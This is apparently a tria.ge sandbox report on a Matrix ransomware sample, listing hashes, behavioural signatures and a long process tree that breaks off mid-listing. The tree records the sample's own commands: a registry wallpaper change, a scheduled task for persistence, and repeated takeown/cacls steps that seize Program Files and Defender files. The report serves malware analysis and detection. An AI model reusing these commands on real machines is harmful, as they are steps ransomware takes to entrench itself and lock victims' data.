Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

c7408dcd1b...50.exe

windows7_x64

10

c7408dcd1b...50.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    08/10/2020, 15:06 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe

  • Size

    1.2MB

  • MD5

    1e1420d5a472c1f6ce8ac0e3363381eb

  • SHA1

    bad3c0a998a65dc7ccfcaec49505f1529658993c

  • SHA256

    c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350

  • SHA512

    591aaeb7c497a96eb3eb61066058e78766f766211519d432a11774f75708e7fdc47f45df70092a7cb92d513229c32dd7fb43a25e8e8c59f2449586647a3bc75d

Score
10/10
ransomwareevasionupxspywarepersistencematrixdiscovery

Malware Config

Signatures

  • Matrix Ransomware 1816 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 138 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 136 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Modifies file permissions 1 TTPs 68 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Drops desktop.ini file(s) 26 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies service 2 TTPs 11 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 5639 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 5 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 103 IoCs
  • Suspicious use of WriteProcessMemory 1272 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
    "C:\Users\Admin\AppData\Local\Temp\c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe" "C:\Users\Admin\AppData\Local\Temp\NWCmUw1f.exe"
      2⤵
        PID:3180
      • C:\Users\Admin\AppData\Local\Temp\NWCmUw1f.exe
        "C:\Users\Admin\AppData\Local\Temp\NWCmUw1f.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1248
        • C:\Users\Admin\AppData\Local\Temp\NWCmUw1f.exe
          "C:\Users\Admin\AppData\Local\Temp\NWCmUw1f.exe" "\\10.10.0.12\C$"
          3⤵
            PID:5696
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\LSGOzXyB.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4188
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\LSGOzXyB.bmp" /f
            3⤵
            • Sets desktop wallpaper using registry
            • Modifies Control Panel
            PID:4284
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4352
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
            • Modifies Control Panel
            PID:4440
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\V8OjOZZK.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4200
          • C:\Windows\SysWOW64\wscript.exe
            wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\V8OjOZZK.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4320
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\TlWF1x4P.bat" /sc minute /mo 5 /RL HIGHEST /F
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4572
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\TlWF1x4P.bat" /sc minute /mo 5 /RL HIGHEST /F
                5⤵
                • Creates scheduled task(s)
                PID:4636
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
              4⤵
                PID:4856
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:4964
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4368
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa" /E /G Admin:F /C
                3⤵
                  PID:4536
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"
                  3⤵
                  • Modifies file permissions
                  PID:4584
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "classes.jsa" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4704
                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                    K9TOpZud.exe -accepteula "classes.jsa" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4724
                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud64.exe
                      K9TOpZud.exe -accepteula "classes.jsa" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Modifies service
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4804
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4648
                • C:\Windows\SysWOW64\cacls.exe
                  cacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C
                  3⤵
                    PID:4732
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"
                    3⤵
                    • Modifies file permissions
                    PID:4772
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "qmgr.db" -nobanner
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4792
                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                      K9TOpZud.exe -accepteula "qmgr.db" -nobanner
                      4⤵
                      • Executes dropped EXE
                      PID:4844
                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                    3⤵
                    • Executes dropped EXE
                    PID:4912
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
                  2⤵
                    PID:4996
                    • C:\Windows\SysWOW64\cacls.exe
                      cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C
                      3⤵
                        PID:5056
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
                        3⤵
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5076
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SmsInterceptStore.db" -nobanner
                        3⤵
                          PID:4208
                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                            K9TOpZud.exe -accepteula "SmsInterceptStore.db" -nobanner
                            4⤵
                            • Executes dropped EXE
                            PID:4184
                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                          3⤵
                          • Executes dropped EXE
                          PID:4416
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Mail\wabmig.exe""
                        2⤵
                          PID:4460
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C
                            3⤵
                              PID:1008
                            • C:\Windows\SysWOW64\takeown.exe
                              takeown /F "C:\Program Files\Windows Mail\wabmig.exe"
                              3⤵
                              • Modifies file permissions
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4452
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "wabmig.exe" -nobanner
                              3⤵
                                PID:3280
                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                  K9TOpZud.exe -accepteula "wabmig.exe" -nobanner
                                  4⤵
                                  • Executes dropped EXE
                                  PID:3168
                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                3⤵
                                • Executes dropped EXE
                                PID:3196
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Security\BrowserCore\manifest.json""
                              2⤵
                                PID:4664
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls "C:\Program Files\Windows Security\BrowserCore\manifest.json" /E /G Admin:F /C
                                  3⤵
                                    PID:4788
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /F "C:\Program Files\Windows Security\BrowserCore\manifest.json"
                                    3⤵
                                    • Modifies file permissions
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4640
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "manifest.json" -nobanner
                                    3⤵
                                      PID:4608
                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                        K9TOpZud.exe -accepteula "manifest.json" -nobanner
                                        4⤵
                                        • Executes dropped EXE
                                        PID:4628
                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4852
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""
                                    2⤵
                                      PID:4340
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C
                                        3⤵
                                          PID:4204
                                        • C:\Windows\SysWOW64\takeown.exe
                                          takeown /F "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui"
                                          3⤵
                                          • Modifies file permissions
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4280
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "WinMail.exe.mui" -nobanner
                                          3⤵
                                            PID:4944
                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                              K9TOpZud.exe -accepteula "WinMail.exe.mui" -nobanner
                                              4⤵
                                              • Executes dropped EXE
                                              PID:4676
                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                            3⤵
                                            • Executes dropped EXE
                                            PID:4692
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe""
                                          2⤵
                                            PID:4976
                                            • C:\Windows\SysWOW64\cacls.exe
                                              cacls "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe" /E /G Admin:F /C
                                              3⤵
                                                PID:5072
                                              • C:\Windows\SysWOW64\takeown.exe
                                                takeown /F "C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe"
                                                3⤵
                                                • Modifies file permissions
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5100
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "BrowserCore.exe" -nobanner
                                                3⤵
                                                  PID:5096
                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                    K9TOpZud.exe -accepteula "BrowserCore.exe" -nobanner
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:5116
                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:4288
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa""
                                                2⤵
                                                  PID:4292
                                                  • C:\Windows\SysWOW64\cacls.exe
                                                    cacls "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa" /E /G Admin:F /C
                                                    3⤵
                                                      PID:5000
                                                    • C:\Windows\SysWOW64\takeown.exe
                                                      takeown /F "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa"
                                                      3⤵
                                                      • Modifies file permissions
                                                      PID:5008
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "classes.jsa" -nobanner
                                                      3⤵
                                                        PID:4544
                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                          K9TOpZud.exe -accepteula "classes.jsa" -nobanner
                                                          4⤵
                                                          • Executes dropped EXE
                                                          PID:3164
                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                        3⤵
                                                        • Executes dropped EXE
                                                        PID:3228
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe""
                                                      2⤵
                                                        PID:4644
                                                        • C:\Windows\SysWOW64\cacls.exe
                                                          cacls "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe" /E /G Admin:F /C
                                                          3⤵
                                                            PID:4212
                                                          • C:\Windows\SysWOW64\takeown.exe
                                                            takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"
                                                            3⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4776
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SenseSampleUploader.exe" -nobanner
                                                            3⤵
                                                              PID:4680
                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                K9TOpZud.exe -accepteula "SenseSampleUploader.exe" -nobanner
                                                                4⤵
                                                                • Executes dropped EXE
                                                                PID:4604
                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                              3⤵
                                                              • Executes dropped EXE
                                                              PID:4564
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""
                                                            2⤵
                                                              PID:4760
                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C
                                                                3⤵
                                                                  PID:4300
                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                  takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4920
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                  3⤵
                                                                    PID:4716
                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                      K9TOpZud.exe -accepteula "PhotoViewer.dll.mui" -nobanner
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:4660
                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:4796
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui""
                                                                  2⤵
                                                                    PID:4420
                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                      cacls "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui" /E /G Admin:F /C
                                                                      3⤵
                                                                        PID:5108
                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                        takeown /F "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui"
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:5080
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "msoeres.dll.mui" -nobanner
                                                                        3⤵
                                                                          PID:5012
                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                            K9TOpZud.exe -accepteula "msoeres.dll.mui" -nobanner
                                                                            4⤵
                                                                            • Executes dropped EXE
                                                                            PID:5004
                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:4308
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""
                                                                        2⤵
                                                                          PID:4552
                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                            cacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C
                                                                            3⤵
                                                                              PID:2976
                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                              takeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:4412
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                              3⤵
                                                                                PID:4624
                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                  K9TOpZud.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:4244
                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:4820
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui""
                                                                              2⤵
                                                                                PID:4596
                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                  cacls "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui" /E /G Admin:F /C
                                                                                  3⤵
                                                                                    PID:4260
                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                    takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui"
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4236
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "MsSense.exe.mui" -nobanner
                                                                                    3⤵
                                                                                      PID:4956
                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                        K9TOpZud.exe -accepteula "MsSense.exe.mui" -nobanner
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4276
                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4108
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Mail\WinMail.exe""
                                                                                    2⤵
                                                                                      PID:4652
                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                        cacls "C:\Program Files\Windows Mail\WinMail.exe" /E /G Admin:F /C
                                                                                        3⤵
                                                                                          PID:4568
                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                          takeown /F "C:\Program Files\Windows Mail\WinMail.exe"
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4712
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "WinMail.exe" -nobanner
                                                                                          3⤵
                                                                                            PID:4556
                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                              K9TOpZud.exe -accepteula "WinMail.exe" -nobanner
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:5068
                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                            3⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4360
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Mail\wab.exe""
                                                                                          2⤵
                                                                                            PID:4376
                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                              cacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C
                                                                                              3⤵
                                                                                                PID:5040
                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                takeown /F "C:\Program Files\Windows Mail\wab.exe"
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4896
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "wab.exe" -nobanner
                                                                                                3⤵
                                                                                                  PID:5024
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                    K9TOpZud.exe -accepteula "wab.exe" -nobanner
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4356
                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4684
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""
                                                                                                2⤵
                                                                                                  PID:4612
                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                    cacls "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui" /E /G Admin:F /C
                                                                                                    3⤵
                                                                                                      PID:4864
                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                      takeown /F "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui"
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4948
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "BrowserCore.exe.mui" -nobanner
                                                                                                      3⤵
                                                                                                        PID:4128
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                          K9TOpZud.exe -accepteula "BrowserCore.exe.mui" -nobanner
                                                                                                          4⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4940
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                        3⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:4120
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""
                                                                                                      2⤵
                                                                                                        PID:4560
                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                          cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C
                                                                                                          3⤵
                                                                                                            PID:4744
                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                            takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:640
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                            3⤵
                                                                                                              PID:4836
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                K9TOpZud.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                                4⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:3780
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4816
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""
                                                                                                            2⤵
                                                                                                              PID:4164
                                                                                                              • C:\Windows\SysWOW64\cacls.exe
